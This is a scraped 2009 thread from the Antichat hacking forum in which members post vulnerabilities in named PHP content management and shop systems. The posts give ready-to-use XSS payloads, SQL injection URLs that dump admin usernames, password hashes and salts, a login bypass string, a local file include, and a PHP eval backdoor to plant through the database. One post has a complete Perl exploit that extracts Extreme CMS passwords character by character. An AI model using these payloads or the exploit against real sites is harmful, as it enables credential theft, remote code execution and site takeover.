Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

23.11.2009, 10:21
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме: 5011696
Репутация:
2221
|
|
Название: ClanSphere
Версия: 2009.0.2
Пассивная XSS:
http://chat/index.php?mod=awards&action=list&start=0&sort=2">< script>alert();</script>
Раскрытие путей:
http://chat/mods/gallery/image.php?pic=1&size=9999999999999999999999999999
http://chat/mods/gallery/image.php?pic=1&size[]=9
|
|
|

23.11.2009, 14:52
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме: 3009843
Репутация:
204
|
|
Blob CMS
Sql-injection
/blogin.php
PHP код:
if(!isset($_SESSION['logged'])){
//This happens when they've tried to log in at least once. First, check their credentials.
$usernum = blob_check_login($_POST['buname'], $_POST['bpword']);
$lattempt = $_POST['lattempt'];
if($lattempt < 3 && $usernum == "FAIL") {
//Whoops, wrong password. Try again.
$page['pagetitle'] = "User Login";
$lattempt++;
?>
Смотрим функцию blob_check_login()
/blob.php
PHP код:
function blob_check_login ($username, $password) {
//This function, obviously, checks a username and password pair.
$goodname = strtolower($username); //Yeah, I hate case-sensitive usernames. Fuck y'all.
$goodpass = md5($password);
blob_connect();
$query = "SELECT * FROM `" . UTABLE . "` WHERE `bl0bdeath`='" . $goodname . "' AND `bl0bnumber`='" . $goodpass . "'";
$result = @mysql_query($query);
|
|
|
Extreme CMS 0.9 SQL Injection Exploit |

26.11.2009, 21:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
Провел на форуме: 3217552
Репутация:
1668
|
|
Extreme CMS 0.9 SQL Injection Exploit
Extreme CMS 0.9
SQL Injection
Vuln file: /calendar/show.php
PHP код:
... ... ... ... ...
$id = $_GET['event']; // from clicked day
$sho = $_GET['sho']; // display method
$query = "SELECT * FROM calendar WHERE id = '$id' "; // retrieves ONE record
$result = mysql_query($query);
$myrow = mysql_fetch_array($result);
$ev_1 = $myrow['ev_dat']; // is date for that record (allows multiple events selection)
$found = $myrow['ev_dat'];
$pieces = explode("-", $ev_1);
$monum = intval($pieces[1]);
$query = "SELECT * from calendar WHERE ev_dat = '$ev_1' "; // retrieves ALL date matches
$result = mysql_query($query);
echo"<table width='480' 'cellpadding='3' cellspacing='3' align='center' style='border: thin dotted #cccccc;' bgcolor='#f7f7f7'><tr><td>";
echo "<h2>". $mo[$monum]. " ". intval($pieces[2]). ", ". intval($pieces[0]). "</h2>";
... ... ... ... ...
Не какой фильтрации входящих данных нет. Есть одно но... результат sql запроса обрабатывается intval'ом.
Для обхода intval (если это можно назвать обходом  ) и упрощения вывода написал эксплойт
Exploit:
Код:
#!/usr/bin/perl
#-----------------------------------------
# Extreme CMS 0.9 SQL Injection Exploit
#-----------------------------------------
# Download Script : http://sourceforge.net/projects/extremecms
#
# Author : RulleR aka Pin4eG
# Contact : rull3rrr[at]gmail[dot]com
# Visit : forum.antichat.ru
#-----------------------------------------
use LWP;
use Fcntl;
#________________ CONFIG _______________
$vuln = '/calendar/show.php?event=';
$length = 40;
$column_name = 'password';
$table_name = 'auth';
$id = 1; # user id
$regexp = '<h2> 0, (.*)<\/h2>';
$filename = 'Exp_result.txt';
#_______________________________________
$title = "
[*]==================================[*]
! !
! Extreme CMS SQL Injection Exploit !
! !
! Found && coded by RulleR !
! !
[*]==================================[*]
";
print $title;
print "\n[+] Enter Host: ";
chop ($host = <>);
print "\n[>] Exploiting started... $host\n";
for ($start = 1; $start<=$length; $start++) {
$inj = '-1%27+union+select+null,ord(substr((select+'.$column_name.'+from+'.$table_name.'+where+id='.$id.'),'.$start.',1)),null,null,null+--+';
$req = $host.$vuln.$inj;
$cont = &WebGet($req);
$cont =~ /$regexp/;
last if (!$1);
$char = chr($1);
push (@res, $char);
}
print "\n------------- [Result] --------------\n";
print @res;
print "\n-------------------------------------\n";
print "\n[!] Exploiting finished :)\n";
sysopen (RESULT, $filename, O_WRONLY | O_CREAT);
print RESULT $title;
print RESULT "\n------------- [Result] --------------\n";
print RESULT @res;
print RESULT "\n-------------------------------------\n";
close (RESULT);
print "\nResult saving in $filename\n";
sub WebGet() {
$url = $_[0];
$request = HTTP::Request->new(GET => $url);
$u_a = LWP::UserAgent->new();
$u_a->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$u_a->timeout(5);
$response = $u_a->request($request);
if ($response->is_error) {
print " ! Error: ".$response->status_line.".\n"; die " :(\n";
}
return $response->content;
}
securityreason.com
Для успешной эксплуатации необходимо:
magic quotes = Off
© RulleR aka Pin4eG
|
|
|

28.11.2009, 00:55
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
phpKB <= 2.0 auth bypass
/admin/
login: asd' OR 1=1 -- -
pass: asdasd
Сам движок скачать не удалось, поэтому зависимости и уязвимый кусок кода не привожу.
|
|
|

28.11.2009, 23:21
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме: 736224
Репутация:
388
|
|
|
|
|

29.11.2009, 14:16
|
|
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме: 3009843
Репутация:
204
|
|
OS CMS
Blind SQL-injection
/vote.php
PHP код:
$postid = $_GET['id'];
$result = mysql_query("SELECT * FROM myblog_posts WHERE title = '$postid'") or die(mysql_error());
while($row = mysql_fetch_array( $result )) {
$member = $row['name'];
}
Blind Sql-Injection
/registerp.php
PHP код:
$username = $_POST['username'];
//Н-ко строк спустя
$result = mysql_query("SELECT * FROM myblog_users WHERE user = '$username'") or die(mysql_error());
//Ну и
mysql_query("INSERT INTO myblog_users
(user, password, perm, email, interests, site, name) VALUES('$_POST[username]','$_POST[password]', '0', '$_POST[email]','$_POST[interests]','$_POST[site]','$_POST[realname]') ")
|
|
|

30.11.2009, 10:51
|
|
Участник форума
Регистрация: 30.10.2009
Сообщений: 103
Провел на форуме: 736224
Репутация:
388
|
|
CubeCart 4.3.0
Активная xss:
http://[localhost]/index.php?_a=profile
в редактировании профиля.
В поля:
Название Компании
Город
вписываем:
"><script>alert();</script>
и сохраняем. При просмотре профилей и заказов администратором код выполнится.
SQL injection:
exploit:
http://[localhost]/index.php?_a=viewProd&productId=1+union+select+con cat_ws(0x3a,adminId,0x3a,username,0x3a,password,0x 3a,salt,0x3a,email)+from+[tbl_prefix]CubeCart_admin_users+limit+1,1+--+Bb0y
в результате инъекции ошибка хоть и пишется, но данные все - равно выходят.
Пример:
Error Message:
1222: The used SELECT statements have a different number of columns
SQL:
SELECT `productId`, `quantity` FROM `store_CubeCart_order_inv` WHERE `cart_order_id` = '1:::admin:::f9cd96db9aab0ed6669c35a9054befcb:::wo JkeW:::yourname@example.com' AND `productId` <> 1 union select concat_ws(0x3a,adminId,0x3a,username,0x3a,password ,0x3a,salt,0x3a,email) from store_CubeCart_admin_users limit 1,1 --
Раскрытие путей:
http://[localhost]/index.php?_a=viewProd&productId[]=1
Локальный инклуд:
http://[localhost]/admin.php?_g=../../../giftCertificates
файл должен быть вида: [file_name].inc.php - особо не разбирался, видимо надо баловаться с нулл - байтом.
Последний раз редактировалось Bb0y; 30.11.2009 в 11:13..
|
|
|

01.12.2009, 16:24
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: SphereCMS
Author: http://sphere.xlentprojects.se/
Version: 1.0.2 beta
SQL-inj
file: comments.php
PHP код:
if (isset($_GET['id'])) {
$query = $XlentCMS->query_select("xcms_news", " WHERE id='" . $_GET['id'] . "'");
$news = $XlentCMS->fetch($query);
$content .= "
<div class='post' id='post-8'>
<div class='date'><span>" . $news['date_month']
....
// сам метод:
function query_select($table, $conditions=""){
$query = mysql_query("SELECT * FROM ".$table.$conditions) or $this->error(mysql_error());
return $query;
}
target: ?id=1'+union+select+1,version(),3,4,5,6,7/*
file: downloads.php
PHP код:
if(isset($_GET['cat'])){
$result = mysql_query("SELECT * FROM xcms_downloads WHERE category=".$_GET['cat']." ORDER By id DESC") or die(mysql_error());
target: ?cat=-1+union+select+1,2,3,4,version(),6,7,8,9/*
file: archive.php
PHP код:
$result = mysql_query("SELECT * FROM xcms_archive WHERE id='".$_GET['view']."'") or die(mysql_error());
$archive = mysql_fetch_array($result);
target: ?view=1'+union+select+1,2,version(),4,5,6/*
file: /forum/view_topic.php
PHP код:
$topic = $XlentCMS->query_select("xcms_forum_topics", " WHERE id='".$_GET['view']."'");
$topic = $XlentCMS->fetch($topic);
target: ?view=1'+union+select+1,2,3,version(),5,6/*
file: /forum/view_post.php
PHP код:
$select = $XlentCMS->query_select("xcms_forum_posts", " WHERE topic_id='".$_GET['view']."'");
target: ?view=1'+union+select+1,2,3,version(),5,6,7/*
Последний раз редактировалось m0Hze; 01.12.2009 в 16:30..
|
|
|

02.12.2009, 00:09
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
Product: WebSpell
Author: http://webspell.org
Version: 4.2.1 beta
/*Тут уже публиковалось раньше под эту CMS несколько дыр,но с обновлением их убрали.Файлов много,а вот нарыл немного*/
SLQ-inj
file: newsletter.php
PHP код:
elseif($action=="delete") {
$ergebnis = safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'");
...
elseif($action=="forgot") {
$ergebnis = safe_query("SELECT pass FROM ".PREFIX."newsletter WHERE email='".$_POST['email']."'");
target: ?action=delete&email=1'+union+select+1,2,3,4,5,6,7 ,8/*
file: faq.php
PHP код:
$faqcatID = $_GET['faqcatID'];
$get = safe_query("SELECT faqcatname FROM ".PREFIX."faq_categories WHERE faqcatID='".$faqcatID."'");
$dc = mysql_fetch_assoc($get);
$faqcatname = $dc['faqcatname'];
target: ?faqcatID=1'+union+select+1,2,3,4,5,6,7/*
Последний раз редактировалось m0Hze; 02.12.2009 в 00:11..
|
|
|

02.12.2009, 23:04
|
|
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
Провел на форуме: 5571194
Репутация:
1934
|
|
Textpattern 4.2.0 тут скачать
Eval
доступ к бд и права редактирования.
Это если других способов заливки нету, то читаем дальше...
PHP код:
publish.php
...
$html = safe_field('user_html','txp_page',"name='".doSlash($pretext['page'])."'", false);
if (!$html)
txp_die(gTxt('unknown_section'), '404');
// useful for clean urls with error-handlers
txp_status_header('200 OK');
trace_add('['.gTxt('page').': '.$pretext['page'].']');
set_error_handler("tagErrorHandler");
$pretext['secondpass'] = false;
$html = parse($html);
$pretext['secondpass'] = true;
trace_add('[ ~~~ '.gTxt('secondpass').' ~~~ ]');
$html = parse($html); // the function so nice, he ran it twice
if ($prefs['allow_page_php_scripting']) $html = evalString($html);
...
function evalString($html)
{
global $prefs;
if (strpos($html, chr(60).'?php') !== false) {
trigger_error(gTxt('raw_php_deprecated'), E_USER_WARNING);
if (!empty($prefs['allow_raw_php_scripting']))
$html = eval(' ?'.chr(62).$html.chr(60).'?php ');
else
trigger_error(gTxt('raw_php_disabled'), E_USER_WARNING);
}
return $html;
}
...
если есть доступ к бд то редактируем
таблица textpattern_txp_page ---> поле default
вписываем <txp  hp> eval($_REQUEST[ev]); </txp  hp>
и имеем выполнение кода.
http://textpattern/?ev=phpinfo();
__________________
Появляюсь редко. Важные дела в реале.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|